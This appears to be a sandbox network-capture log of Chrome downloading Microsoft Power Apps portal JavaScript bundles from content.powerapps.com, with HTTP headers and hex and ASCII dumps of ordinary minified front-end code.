2025-01-15 14:12:01 UTC	408	OUT	GET /resource/powerappsportal/controls/host/main.04a618205e.chunk.js HTTP/1.1 Host: content.powerapps.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 14:12:01 UTC	851	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 14:12:01 GMT Content-Type: application/x-javascript Content-Length: 8612 Connection: close Vary: Accept-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=31536000 Strict-Transport-Security: max-age=31536000; includeSubDomains x-ms-islandgateway: ga00000JW x-ms-static-content: ZE00000B6 Timing-Allow-Origin: * X-ServiceFabric: NoRetry x-ms-service-request-id: 6bf7aedd-ab0e-445c-b430-bbc7960fcea0 x-ms-correlation-id: 5ccd26dc-d75a-4d27-b90d-cd13a79797bb x-ms-activity-vector: 00.01.00 Server-Timing: x-ms-igw-upstream-headers;dur=6.9,x-ms-igw-req-overhead;dur=0.3 X-Content-Type-Options: nosniff x-azure-ref: 20250115T141201Z-17f859c6f6b8nggxhC1MNZ3kun000000012g000000001y85 X-Cache: TCP_REMOTE_HIT x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 Accept-Ranges: bytes
2025-01-15 14:12:01 UTC	8612	IN	Data Raw: 28 28 29 3d 3e 7b 76 61 72 20 65 2c 74 2c 72 2c 6f 2c 6e 2c 61 2c 69 2c 6c 2c 66 2c 75 2c 63 2c 73 2c 64 2c 68 2c 70 2c 76 2c 6d 2c 67 2c 62 2c 79 2c 77 2c 50 3d 7b 37 37 39 37 3a 28 65 2c 74 2c 72 29 3d 3e 7b 0a 2f 2a 21 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 20 2a 2f 0a 50 72 6f 6d 69 73 65 2e 61 6c 6c 28 5b 72 2e 65 28 34 34 38 29 2c 72 2e 65 28 35 35 39 29 2c 72 2e 65 28 34 31 29 2c 72 2e 65 28 38 32 29 2c 72 2e 65 28 36 34 36 29 2c 72 2e 65 28 33 34 39 29 5d 29 2e 74 68 65 6e 28 72 2e 62 69 6e 64 28 72 2c 34 32 31 30 29 29 7d 7d 2c 6a 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 4f 28 65 29 7b 76 61 72 20 74 3d Data Ascii: (()=>{var e,t,r,o,n,a,i,l,f,u,c,s,d,h,p,v,m,g,b,y,w,P={7797:(e,t,r)=>{/! Copyright (C) Microsoft Corporation. All rights reserved. */Promise.all([r.e(448),r.e(559),r.e(41),r.e(82),r.e(646),r.e(349)]).then(r.bind(r,4210))}},j={};function O(e){var t=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.7	49817	13.107.253.45	443	3924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:12:01 UTC	411	OUT	GET /resource/powerappsportal/dist/app.BootstrapV5.bundle-3c181c74ce.js HTTP/1.1 Host: content.powerapps.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 14:12:01 UTC	827	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 14:12:01 GMT Content-Type: application/x-javascript Content-Length: 278783 Connection: close Vary: Accept-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=31536000 Strict-Transport-Security: max-age=31536000; includeSubDomains x-ms-islandgateway: ga000006N x-ms-static-content: PI0000007 Timing-Allow-Origin: * X-ServiceFabric: NoRetry x-ms-service-request-id: b4661a27-721a-499f-9064-8ca846e80c09 x-ms-correlation-id: 9a0321b3-59b6-406e-b2aa-1f132a90b5c5 x-ms-activity-vector: 00.01.00 Server-Timing: x-ms-igw-upstream-headers;dur=62.5,x-ms-igw-req-overhead;dur=0.4 X-Content-Type-Options: nosniff x-azure-ref: 20250115T141201Z-17f859c6f6b885jdhC1MNZu0zw00000000sg0000000048tv X-Cache: TCP_MISS x-fd-int-roxy-purgeid: 0 Accept-Ranges: bytes
2025-01-15 14:12:01 UTC	15557	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 77 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 65 29 7b 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 3d 77 28 65 29 3b 74 68 69 73 2e 5f 74 61 72 67 65 74 3d 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 64 61 74 61 28 22 62 73 54 61 72 67 65 74 22 29 7c 7c 7b 7d 3b 74 68 69 73 2e 5f 61 74 74 61 63 68 6d 65 6e 74 53 65 74 74 69 6e 67 73 3d 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 64 61 74 61 28 22 61 74 74 61 63 68 6d 65 6e 74 73 65 74 74 69 6e 67 73 22 29 3b 74 68 69 73 2e 5f 73 65 72 76 69 63 65 55 72 6c 47 65 74 3d 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 61 74 74 72 28 22 64 61 74 61 2d 75 72 6c 2d 67 65 74 22 29 3b 74 68 69 73 2e 5f 73 65 72 76 69 63 65 55 72 6c 41 64 64 3d 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 61 74 74 72 28 22 Data Ascii: (function(w){function c(e){this._element=w(e);this._target=this._element.data("bsTarget")\|\|{};this._attachmentSettings=this._element.data("attachmentsettings");this._serviceUrlGet=this._element.attr("data-url-get");this._serviceUrlAdd=this._element.attr("
2025-01-15 14:12:01 UTC	16384	IN	Data Raw: 67 65 72 5b 22 52 65 71 75 69 72 65 64 5f 46 69 65 6c 64 5f 45 72 72 6f 72 22 5d 2e 72 65 70 6c 61 63 65 28 22 7b 30 7d 22 2c 66 2e 74 65 78 74 28 29 29 7d 3b 67 28 75 2c 6e 29 7d 72 65 74 75 72 6e 7d 76 61 72 20 70 3d 6e 2e 66 69 6e 64 28 22 69 6e 70 75 74 5b 74 79 70 65 3d 27 63 68 65 63 6b 62 6f 78 27 5d 22 29 3b 69 66 28 70 2e 6c 65 6e 67 74 68 3e 30 29 7b 6c 3d 70 2e 70 72 6f 70 28 22 63 68 65 63 6b 65 64 22 29 7d 76 61 72 20 76 3d 6e 2e 66 69 6e 64 28 22 69 6e 70 75 74 5b 74 79 70 65 3d 27 66 69 6c 65 27 5d 22 29 3b 69 2e 61 74 74 72 28 22 64 69 73 61 62 6c 65 64 22 2c 22 64 69 73 61 62 6c 65 64 22 29 2e 70 72 65 70 65 6e 64 28 22 3c 73 70 61 6e 20 63 6c 61 73 73 3d 27 66 61 20 66 61 2d 73 70 69 6e 6e 65 72 20 66 61 2d 73 70 69 6e 27 20 61 72 69 61 Data Ascii: ger["Required_Field_Error"].replace("{0}",f.text())};g(u,n)}return}var p=n.find("input[type='checkbox']");if(p.length>0){l=p.prop("checked")}var v=n.find("input[type='file']");i.attr("disabled","disabled").prepend("<span class='fa fa-spinner fa-spin' aria
2025-01-15 14:12:01 UTC	16384	IN	Data Raw: 61 2d 73 70 69 6e 22 29 2e 72 65 6d 6f 76 65 28 29 7d 29 7d 29 3b 73 2e 6d 6f 64 61 6c 28 22 73 68 6f 77 22 29 7d 29 7d 65 6c 73 65 7b 74 2e 66 69 6e 64 28 22 2e 71 75 61 6c 69 66 79 2d 6c 65 61 64 2d 6c 69 6e 6b 22 29 2e 6f 6e 28 22 63 6c 69 63 6b 22 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 3b 76 61 72 20 74 3d 64 2e 66 69 6e 64 28 22 5b 69 64 24 3d 27 5f 45 6e 74 69 74 79 49 44 27 5d 22 29 2e 76 61 6c 28 29 3b 76 61 72 20 61 3d 67 28 74 68 69 73 29 2e 64 61 74 61 28 22 75 72 6c 22 29 3b 76 61 72 20 6e 3d 7b 7d 3b 6e 2e 63 72 65 61 74 65 41 63 63 6f 75 6e 74 3d 74 72 75 65 3b 6e 2e 63 72 65 61 74 65 43 6f 6e 74 61 63 74 3d 74 72 75 65 3b 6e 2e 63 72 65 61 74 65 4f 70 70 6f 72 74 75 6e 69 74 79 3d 74 72 Data Ascii: a-spin").remove()})});s.modal("show")})}else{t.find(".qualify-lead-link").on("click",function(e){e.preventDefault();var t=d.find("[id$='_EntityID']").val();var a=g(this).data("url");var n={};n.createAccount=true;n.createContact=true;n.createOpportunity=tr
2025-01-15 14:12:01 UTC	16384	IN	Data Raw: 65 29 2e 66 69 6e 64 28 22 2e 66 61 2d 73 70 69 6e 22 29 2e 72 65 6d 6f 76 65 28 29 7d 29 7d 29 3b 73 2e 6d 6f 64 61 6c 28 22 73 68 6f 77 22 29 7d 29 7d 65 6c 73 65 7b 74 2e 66 69 6e 64 28 22 2e 61 63 74 69 76 61 74 65 2d 6c 69 6e 6b 22 29 2e 6f 6e 28 22 63 6c 69 63 6b 22 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 3b 76 61 72 20 74 3d 64 2e 66 69 6e 64 28 22 5b 69 64 24 3d 27 5f 45 6e 74 69 74 79 49 44 27 5d 22 29 2e 76 61 6c 28 29 3b 76 61 72 20 61 3d 67 28 74 68 69 73 29 2e 64 61 74 61 28 22 75 72 6c 22 29 3b 76 61 72 20 6e 3d 7b 7d 3b 76 61 72 20 69 3d 7b 7d 3b 69 2e 4c 6f 67 69 63 61 6c 4e 61 6d 65 3d 6c 2e 45 6e 74 69 74 79 4e 61 6d 65 3b 69 2e 49 64 3d 74 3b 6e 2e 65 6e 74 69 74 79 52 65 66 65 72 65 Data Ascii: e).find(".fa-spin").remove()})});s.modal("show")})}else{t.find(".activate-link").on("click",function(e){e.preventDefault();var t=d.find("[id$='_EntityID']").val();var a=g(this).data("url");var n={};var i={};i.LogicalName=l.EntityName;i.Id=t;n.entityRefere
2025-01-15 14:12:01 UTC	16384	IN	Data Raw: 66 69 6e 64 28 22 2e 66 6f 72 6d 2d 6c 6f 61 64 69 6e 67 22 29 2e 68 69 64 65 28 29 3b 74 2e 66 69 6e 64 28 22 69 66 72 61 6d 65 22 29 2e 63 6f 6e 74 65 6e 74 73 28 29 2e 66 69 6e 64 28 22 23 45 6e 74 69 74 79 46 6f 72 6d 43 6f 6e 74 72 6f 6c 22 29 2e 73 68 6f 77 28 29 7d 29 3b 74 2e 66 69 6e 64 28 22 2e 66 6f 72 6d 2d 6c 6f 61 64 69 6e 67 22 29 2e 73 68 6f 77 28 29 3b 74 2e 66 69 6e 64 28 22 69 66 72 61 6d 65 22 29 2e 63 6f 6e 74 65 6e 74 73 28 29 2e 66 69 6e 64 28 22 23 45 6e 74 69 74 79 46 6f 72 6d 43 6f 6e 74 72 6f 6c 22 29 2e 68 69 64 65 28 29 3b 74 2e 6f 6e 28 22 68 69 64 65 2e 62 73 2e 6d 6f 64 61 6c 22 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 67 28 74 68 69 73 29 2e 61 74 74 72 28 22 61 72 69 61 2d 68 69 64 64 65 6e 22 2c 22 74 72 75 65 22 29 7d 29 Data Ascii: find(".form-loading").hide();t.find("iframe").contents().find("#EntityFormControl").show()});t.find(".form-loading").show();t.find("iframe").contents().find("#EntityFormControl").hide();t.on("hide.bs.modal",function(e){g(this).attr("aria-hidden","true")})
2025-01-15 14:12:01 UTC	16384	IN	Data Raw: 63 74 69 6f 6e 22 29 2e 61 74 74 72 28 22 74 69 74 6c 65 22 2c 6f 2e 54 6f 6f 6c 74 69 70 29 2e 68 74 6d 6c 28 6f 2e 4c 61 62 65 6c 29 3b 69 66 28 68 2e 5f 63 6f 6d 70 61 63 74 29 7b 6d 2e 61 64 64 43 6c 61 73 73 28 22 62 74 6e 2d 73 6d 22 29 7d 6d 2e 6f 6e 28 22 63 6c 69 63 6b 22 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 6d 2e 61 74 74 72 28 22 64 69 73 61 62 6c 65 64 22 29 3d 3d 22 64 69 73 61 62 6c 65 64 22 29 7b 72 65 74 75 72 6e 20 66 61 6c 73 65 7d 65 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 3b 6d 2e 61 74 74 72 28 22 64 69 73 61 62 6c 65 64 22 2c 22 64 69 73 61 62 6c 65 64 22 29 3b 76 61 72 20 74 3d 6e 65 77 20 44 61 74 65 3b 76 61 72 20 61 2c 6e 3d 66 61 6c 73 65 3b 76 61 72 20 69 3d 7b 7d 3b 69 2e 76 69 65 77 4e 61 6d 65 3d 77 2e Data Ascii: ction").attr("title",o.Tooltip).html(o.Label);if(h._compact){m.addClass("btn-sm")}m.on("click",function(e){if(m.attr("disabled")=="disabled"){return false}e.preventDefault();m.attr("disabled","disabled");var t=new Date;var a,n=false;var i={};i.viewName=w.
2025-01-15 14:12:01 UTC	16384	IN	Data Raw: 20 73 3d 73 65 28 64 29 3b 69 66 28 21 73 29 7b 76 61 72 20 63 3d 4c 65 28 64 2e 41 74 74 72 69 62 75 74 65 73 2c 22 4e 61 6d 65 22 2c 6f 29 3b 69 66 28 63 21 3d 2d 31 29 7b 73 3d 64 2e 41 74 74 72 69 62 75 74 65 73 5b 63 5d 2e 44 69 73 70 6c 61 79 56 61 6c 75 65 7d 7d 76 61 72 20 66 3d 68 65 28 22 3c 74 72 3e 3c 2f 74 72 3e 22 29 2e 61 74 74 72 28 22 64 61 74 61 2d 69 64 22 2c 64 2e 49 64 29 2e 61 74 74 72 28 22 64 61 74 61 2d 65 6e 74 69 74 79 22 2c 61 65 2e 45 6e 74 69 74 79 4e 61 6d 65 29 2e 61 74 74 72 28 22 64 61 74 61 2d 6e 61 6d 65 22 2c 73 7c 7c 22 22 29 2e 6f 6e 28 22 66 6f 63 75 73 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 68 65 28 74 68 69 73 29 2e 61 64 64 43 6c 61 73 73 28 22 61 63 74 69 76 65 22 29 7d 29 2e 6f 6e 28 22 62 6c 75 72 22 2c 66 75 Data Ascii: s=se(d);if(!s){var c=Le(d.Attributes,"Name",o);if(c!=-1){s=d.Attributes[c].DisplayValue}}var f=he("<tr></tr>").attr("data-id",d.Id).attr("data-entity",ae.EntityName).attr("data-name",s\|\|"").on("focus",function(){he(this).addClass("active")}).on("blur",fu
2025-01-15 14:12:01 UTC	16384	IN	Data Raw: 65 3d 67 3b 6b 2e 65 6e 74 69 74 79 49 64 3d 79 3b 43 6c 69 65 6e 74 4c 6f 67 57 72 61 70 70 65 72 2e 67 65 74 4c 6f 67 67 65 72 28 29 2e 74 72 61 63 65 49 6e 66 6f 28 22 45 6e 74 69 74 79 47 72 69 64 20 67 65 74 44 61 74 61 28 29 3a 20 47 65 74 20 64 61 74 61 22 2c 22 65 6e 74 69 74 79 5f 67 72 69 64 22 2c 22 22 2c 22 47 65 74 44 61 74 61 22 29 3b 76 61 72 20 77 3d 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 6b 29 3b 73 68 65 6c 6c 2e 61 6a 61 78 53 61 66 65 50 6f 73 74 28 7b 74 79 70 65 3a 22 50 4f 53 54 22 2c 64 61 74 61 54 79 70 65 3a 22 6a 73 6f 6e 22 2c 63 6f 6e 74 65 6e 74 54 79 70 65 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2c 75 72 6c 3a 65 2c 64 61 74 61 3a 77 2c 67 6c 6f 62 61 6c 3a Data Ascii: e=g;k.entityId=y;ClientLogWrapper.getLogger().traceInfo("EntityGrid getData(): Get data","entity_grid","","GetData");var w=JSON.stringify(k);shell.ajaxSafePost({type:"POST",dataType:"json",contentType:"application/json; charset=utf-8",url:e,data:w,global:
2025-01-15 14:12:01 UTC	16384	IN	Data Raw: 2e 61 74 74 72 28 22 61 72 69 61 2d 68 69 64 64 65 6e 22 2c 22 74 72 75 65 22 29 3b 74 2e 63 6c 6f 73 65 73 74 28 22 2e 61 63 74 69 6f 6e 22 29 2e 63 68 69 6c 64 72 65 6e 28 22 62 75 74 74 6f 6e 22 29 2e 74 72 69 67 67 65 72 28 22 66 6f 63 75 73 22 29 7d 29 7d 29 7d 65 6c 73 65 7b 6e 2e 66 69 6e 64 28 22 2e 71 75 61 6c 69 66 79 2d 6c 65 61 64 2d 6c 69 6e 6b 22 29 2e 6f 6e 28 22 63 6c 69 63 6b 22 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 3b 76 61 72 20 74 3d 68 65 28 74 68 69 73 29 2e 63 6c 6f 73 65 73 74 28 22 74 72 22 29 3b 76 61 72 20 61 3d 74 2e 64 61 74 61 28 22 69 64 22 29 3b 76 61 72 20 6e 3d 7b 7d 3b 6e 2e 63 72 65 61 74 65 41 63 63 6f 75 6e 74 3d 74 72 75 65 3b 6e 2e 63 72 65 61 74 65 43 6f 6e 74 Data Ascii: .attr("aria-hidden","true");t.closest(".action").children("button").trigger("focus")})})}else{n.find(".qualify-lead-link").on("click",function(e){e.preventDefault();var t=he(this).closest("tr");var a=t.data("id");var n={};n.createAccount=true;n.createCont
2025-01-15 14:12:01 UTC	16384	IN	Data Raw: 70 65 2e 61 64 64 44 65 61 63 74 69 76 61 74 65 41 63 74 69 6f 6e 4c 69 6e 6b 43 6c 69 63 6b 45 76 65 6e 74 48 61 6e 64 6c 65 72 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 76 61 72 20 6f 3d 65 2e 5f 65 6c 65 6d 65 6e 74 3b 76 61 72 20 74 3d 65 2e 5f 6c 61 79 6f 75 74 73 3b 76 61 72 20 6c 3d 74 5b 65 2e 5f 61 63 74 69 76 65 4c 61 79 6f 75 74 49 6e 64 65 78 5d 3b 76 61 72 20 61 3d 65 2e 5f 65 6e 61 62 6c 65 41 63 74 69 6f 6e 73 3b 76 61 72 20 6e 3d 6f 2e 63 68 69 6c 64 72 65 6e 28 22 2e 76 69 65 77 2d 67 72 69 64 22 29 2e 66 69 6e 64 28 22 74 61 62 6c 65 22 29 3b 69 66 28 21 61 7c 7c 21 6c 2e 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 2e 44 65 61 63 74 69 76 61 74 65 41 63 74 69 6f 6e 4c 69 6e 6b 2e 45 6e 61 62 6c 65 64 26 26 21 6c Data Ascii: pe.addDeactivateActionLinkClickEventHandlers=function(){var e=this;var o=e._element;var t=e._layouts;var l=t[e._activeLayoutIndex];var a=e._enableActions;var n=o.children(".view-grid").find("table");if(!a\|\|!l.Configuration.DeactivateActionLink.Enabled&&!l

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.7	49825	13.107.253.45	443	3924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:12:02 UTC	407	OUT	GET /resource/powerappsportal/controls/host/874.d64d28bc67.chunk.js HTTP/1.1 Host: content.powerapps.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 14:12:03 UTC	824	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 14:12:03 GMT Content-Type: application/x-javascript Content-Length: 7604 Connection: close Vary: Accept-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=31536000 Strict-Transport-Security: max-age=31536000; includeSubDomains x-ms-islandgateway: GA000000Y x-ms-static-content: NR000000S Timing-Allow-Origin: * X-ServiceFabric: NoRetry x-ms-service-request-id: 21077e41-cc25-4737-a4d7-38e260ec5f2f x-ms-correlation-id: cf433953-0c7e-41ec-86ec-40ca9a306bda x-ms-activity-vector: 00.01.00 Server-Timing: x-ms-igw-upstream-headers;dur=7.6,x-ms-igw-req-overhead;dur=0.3 X-Content-Type-Options: nosniff x-azure-ref: 20250115T141202Z-17f859c6f6bcrw57hC1MNZmxew0000000130000000002a8d X-Cache: TCP_MISS x-fd-int-roxy-purgeid: 0 Accept-Ranges: bytes
2025-01-15 14:12:03 UTC	7604	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 69 63 72 6f 73 6f 66 74 5f 70 6f 77 65 72 70 61 67 65 73 5f 68 6f 73 74 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 69 63 72 6f 73 6f 66 74 5f 70 6f 77 65 72 70 61 67 65 73 5f 68 6f 73 74 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 38 37 34 2c 34 39 33 5d 2c 7b 37 31 32 31 3a 65 3d 3e 7b 0a 2f 2a 0a 6f 62 6a 65 63 74 2d 61 73 73 69 67 6e 0a 28 63 29 20 53 69 6e 64 72 65 20 53 6f 72 68 75 73 0a 40 6c 69 63 65 6e 73 65 20 4d 49 54 0a 2a 2f 0a 76 61 72 20 72 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 2c 74 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 6e Data Ascii: "use strict";(self.webpackChunk_microsoft_powerpages_host=self.webpackChunk_microsoft_powerpages_host\|\|[]).push([[874,493],{7121:e=>{/object-assign(c) Sindre Sorhus@license MIT/var r=Object.getOwnPropertySymbols,t=Object.prototype.hasOwnProperty,n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.7	49827	13.107.253.45	443	3924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:12:02 UTC	407	OUT	GET /resource/powerappsportal/controls/host/448.462407f435.chunk.js HTTP/1.1 Host: content.powerapps.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 14:12:02 UTC	853	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 14:12:02 GMT Content-Type: application/x-javascript Content-Length: 48444 Connection: close Vary: Accept-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=31536000 Strict-Transport-Security: max-age=31536000; includeSubDomains x-ms-islandgateway: GA000001S x-ms-static-content: ZE0000012 Timing-Allow-Origin: * X-ServiceFabric: NoRetry x-ms-service-request-id: a858ff25-1229-4c57-8412-34a2ae7cd672 x-ms-correlation-id: 522a50a9-cc24-483a-a122-3cb906bf8aab x-ms-activity-vector: 00.01.00 Server-Timing: x-ms-igw-upstream-headers;dur=43.7,x-ms-igw-req-overhead;dur=0.3 X-Content-Type-Options: nosniff x-azure-ref: 20250115T141202Z-1848b945c76qk7cshC1MNZbbe800000001hg0000000007k6 X-Cache: TCP_REMOTE_HIT x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 Accept-Ranges: bytes
2025-01-15 14:12:02 UTC	15531	IN	Data Raw: 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 69 63 72 6f 73 6f 66 74 5f 70 6f 77 65 72 70 61 67 65 73 5f 68 6f 73 74 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 69 63 72 6f 73 6f 66 74 5f 70 6f 77 65 72 70 61 67 65 73 5f 68 6f 73 74 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 34 34 38 5d 2c 7b 39 34 34 38 3a 28 74 2c 65 2c 72 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 2c 72 3d 41 72 72 61 79 28 65 3e 31 3f 65 2d 31 3a 30 29 2c 6e 3d 31 3b 6e 3c 65 3b 6e 2b 2b 29 72 5b 6e 2d 31 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 6e 5d 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 5b 49 6d 6d 65 72 5d 20 6d 69 6e 69 66 69 65 Data Ascii: (self.webpackChunk_microsoft_powerpages_host=self.webpackChunk_microsoft_powerpages_host\|\|[]).push([[448],{9448:(t,e,r)=>{"use strict";function n(t){for(var e=arguments.length,r=Array(e>1?e-1:0),n=1;n<e;n++)r[n-1]=arguments[n];throw Error("[Immer] minifie
2025-01-15 14:12:02 UTC	16384	IN	Data Raw: 74 73 25 5c 6e 5c 6e 4d 6f 72 65 20 69 6e 66 6f 3a 20 68 74 74 70 73 3a 2f 2f 63 72 61 66 74 2e 6a 73 2e 6f 72 67 2f 72 2f 64 6f 63 73 2f 61 70 69 2f 65 64 69 74 6f 72 23 70 72 6f 70 73 22 2c 7a 74 3d 22 59 6f 75 20 63 61 6e 20 6f 6e 6c 79 20 75 73 65 20 75 73 65 45 64 69 74 6f 72 20 69 6e 20 74 68 65 20 63 6f 6e 74 65 78 74 20 6f 66 20 3c 45 64 69 74 6f 72 20 2f 3e 2e 20 5c 6e 5c 6e 50 6c 65 61 73 65 20 6f 6e 6c 79 20 75 73 65 20 75 73 65 45 64 69 74 6f 72 20 69 6e 20 63 6f 6d 70 6f 6e 65 6e 74 73 20 74 68 61 74 20 61 72 65 20 63 68 69 6c 64 72 65 6e 20 6f 66 20 74 68 65 20 3c 45 64 69 74 6f 72 20 2f 3e 20 63 6f 6d 70 6f 6e 65 6e 74 2e 22 2c 4e 74 3d 22 59 6f 75 20 63 61 6e 20 6f 6e 6c 79 20 75 73 65 20 75 73 65 4e 6f 64 65 20 69 6e 20 74 68 65 20 63 6f Data Ascii: ts%\n\nMore info: https://craft.js.org/r/docs/api/editor#props",zt="You can only use useEditor in the context of <Editor />. \n\nPlease only use useEditor in components that are children of the <Editor /> component.",Nt="You can only use useNode in the co
2025-01-15 14:12:02 UTC	16384	IN	Data Raw: 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 63 72 65 61 74 65 50 72 6f 78 79 48 61 6e 64 6c 65 72 73 28 74 68 69 73 2e 64 65 72 69 76 65 64 2c 74 29 7d 7d 2c 7b 6b 65 79 3a 22 63 6c 65 61 6e 75 70 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 59 74 28 57 74 28 6f 2e 70 72 6f 74 6f 74 79 70 65 29 2c 22 63 6c 65 61 6e 75 70 22 2c 74 68 69 73 29 2e 63 61 6c 6c 28 74 68 69 73 29 2c 74 68 69 73 2e 75 6e 73 75 62 73 63 72 69 62 65 50 61 72 65 6e 74 48 61 6e 64 6c 65 72 4c 69 73 74 65 6e 65 72 28 29 7d 7d 5d 29 2c 6f 7d 28 29 3b 66 75 6e 63 74 69 6f 6e 20 64 65 28 74 2c 65 29 7b 65 26 26 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 74 3f 74 28 65 29 3a 74 2e 63 75 72 72 65 6e 74 3d 65 29 7d 66 75 6e 63 74 69 6f 6e 20 79 65 Data Ascii: ion(t){return this.createProxyHandlers(this.derived,t)}},{key:"cleanup",value:function(){Yt(Wt(o.prototype),"cleanup",this).call(this),this.unsubscribeParentHandlerListener()}}]),o}();function de(t,e){e&&("function"==typeof t?t(e):t.current=e)}function ye
2025-01-15 14:12:02 UTC	145	IN	Data Raw: 28 6f 29 3b 76 61 72 20 72 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 65 3f 65 28 29 3a 65 2c 69 3d 72 3f 22 22 2e 63 6f 6e 63 61 74 28 6f 2c 22 3a 20 22 29 2e 63 6f 6e 63 61 74 28 72 29 3a 6f 3b 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 69 29 7d 7d 7d 7d 5d 29 3b 0a 2f 2f 23 20 73 6f 75 72 63 65 4d 61 70 70 69 6e 67 55 52 4c 3d 34 34 38 2e 34 36 32 34 30 37 66 34 33 35 2e 63 68 75 6e 6b 2e 6a 73 2e 6d 61 70 Data Ascii: (o);var r="function"==typeof e?e():e,i=r?"".concat(o,": ").concat(r):o;throw new Error(i)}}}}]);//# sourceMappingURL=448.462407f435.chunk.js.map

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
